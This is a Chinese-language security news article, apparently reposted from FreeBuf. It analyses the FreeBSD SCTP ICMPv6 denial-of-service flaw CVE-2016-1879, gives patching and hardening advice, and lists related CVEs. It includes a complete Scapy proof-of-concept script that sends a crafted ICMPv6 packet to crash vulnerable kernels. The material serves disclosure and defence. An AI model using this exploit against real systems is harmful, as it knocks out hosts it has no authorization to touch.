安全動(dòng)態(tài)

FreeBSD遠(yuǎn)程DoS攻擊的利用分析(CVE-2016-1879)

來源:聚銘網(wǎng)絡(luò)    發(fā)布時(shí)間:2016-02-06    瀏覽次數(shù):
 

信息來源:FreeBuf  

FreeBSD團(tuán)隊(duì)宣布他們的操作系統(tǒng)存在嚴(yán)重的漏洞,黑客可以利用這個(gè)漏洞進(jìn)行DoS(拒絕服務(wù))攻擊,提權(quán)或竊取系統(tǒng)敏感信息。

SCTP ICMPv6錯(cuò)誤處理漏洞 (CVE-2016-1879)

SCTP (流控制傳輸協(xié)議)是一種傳輸層協(xié)議,它可以用來在IP環(huán)境中傳輸信號(hào)。通常,移動(dòng)運(yùn)營商會(huì)在技術(shù)網(wǎng)絡(luò)中使用這個(gè)協(xié)議。

這個(gè)漏洞影響了FreeBSD系統(tǒng)的數(shù)個(gè)版本(9.3、10.1、10.2),如果它們支持SCTP和IPV6就會(huì)中招(這其實(shí)是系統(tǒng)默認(rèn)配置)。黑客利用這個(gè)漏洞,需要發(fā)送一個(gè)精心構(gòu)造的ICMPv6消息。如果漏洞利用成功,就可以對(duì)系統(tǒng)進(jìn)行DoS攻擊。

DoS攻擊是由于系統(tǒng)對(duì)來自ICMPv6的錯(cuò)誤消息,并沒有仔細(xì)檢查其中SCTP包頭部的長度。如果目標(biāo)接收者不存在,路由會(huì)生成一個(gè)錯(cuò)誤信息,通過ICMPv6反饋給發(fā)送人。

該ICMPv6包括原始的IPv6包,其中的Next Header區(qū)域會(huì)顯示SCTP是如何封裝的:

在系統(tǒng)內(nèi)核接收了通過ICMPv6發(fā)送來的錯(cuò)誤消息時(shí),它會(huì)將上層協(xié)議包傳輸?shù)奖匾慕馕銎鱯ctp6_ctlinput()里。SCTP解析器將傳入的頭部誤認(rèn)為是合法長度,然后會(huì)試圖用m_copydata()將它c(diǎn)opy,里面存有偏移值和字節(jié)數(shù)值。本來系統(tǒng)預(yù)計(jì)消息的頭部長度是12個(gè)字節(jié),但是黑客可能就給它發(fā)送了一個(gè)長為11字節(jié)的頭部,最后空指針的引用就導(dǎo)致了內(nèi)核崩潰。

漏洞利用代碼

利用這個(gè)漏洞時(shí),我們并不需要開放的SCTP套接字。神奇的Scapy會(huì)幫助我們,創(chuàng)建漏洞利用所需的ICMPv6數(shù)據(jù)包(這里編輯器代碼排版縮進(jìn)如下,有需求請(qǐng)自行調(diào)整):

#!/usr/bin/env python # -*- coding: utf-8 -*-   import argparse from scapy.all import *
 
  def get_args():     parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m""--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i""--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I""--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
  if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)

下面是攻擊演示的視頻:

修復(fù)和安全建議

為了保護(hù)您的系統(tǒng)不受該漏洞的侵害,我們建議您這么做: 

如果不需要IPv6,請(qǐng)將其禁用。
在防火墻禁用ICMPv6或者IPv6流量。
如果用不上的話,請(qǐng)禁用系統(tǒng)內(nèi)核對(duì)SCTP堆棧的支持(需要重新編譯內(nèi)核)。

修復(fù)漏洞,您可以使用供應(yīng)商的補(bǔ)丁,安裝對(duì)SCTP ICMPv6消息的額外校驗(yàn),這里也需要重新編譯內(nèi)核。

其他漏洞相關(guān)

此外,F(xiàn)reeBSD系統(tǒng)還爆出了其他嚴(yán)重漏洞,官方開發(fā)人員為它們發(fā)布了補(bǔ)丁。

1.存在這么一個(gè)漏洞,如果系統(tǒng)啟用了TCP_MD5SIG和TCP_NOOPT,黑客通過TCP連接可以對(duì)系統(tǒng)進(jìn)行DoS攻擊。他們只需要某個(gè)TCP_NOOPT啟用的監(jiān)聽套接字,就能利用這個(gè)漏洞(CVE-2016-1882補(bǔ)丁)。

2.Linux下Robust Futex錯(cuò)誤,會(huì)導(dǎo)致系統(tǒng)內(nèi)存數(shù)據(jù)泄露(CVE-2016-1880補(bǔ)丁)。

3.不安全的默認(rèn)配置,導(dǎo)致了黑客可以訪問守護(hù)進(jìn)程配置文件/etc/bsnmpd.conf(CVE-2015-5677補(bǔ)丁)。

為了保護(hù)您的系統(tǒng)不受漏洞侵害,強(qiáng)烈建議您在進(jìn)行安全配置之后再使用IPv6地址,并安裝好相應(yīng)的安全工具來保護(hù)系統(tǒng)安全。

*參考來源:PTsec,F(xiàn)B小編dawner編譯,轉(zhuǎn)載請(qǐng)注明來自FreeBuf黑客與極客(FreeBuf.COM)


 
 

上一篇:“綠色”并不代表安全,一個(gè)隱藏在綠色軟件中的木馬分析

下一篇:OpenSSL修復(fù)加密漏洞、加強(qiáng)Logjam防御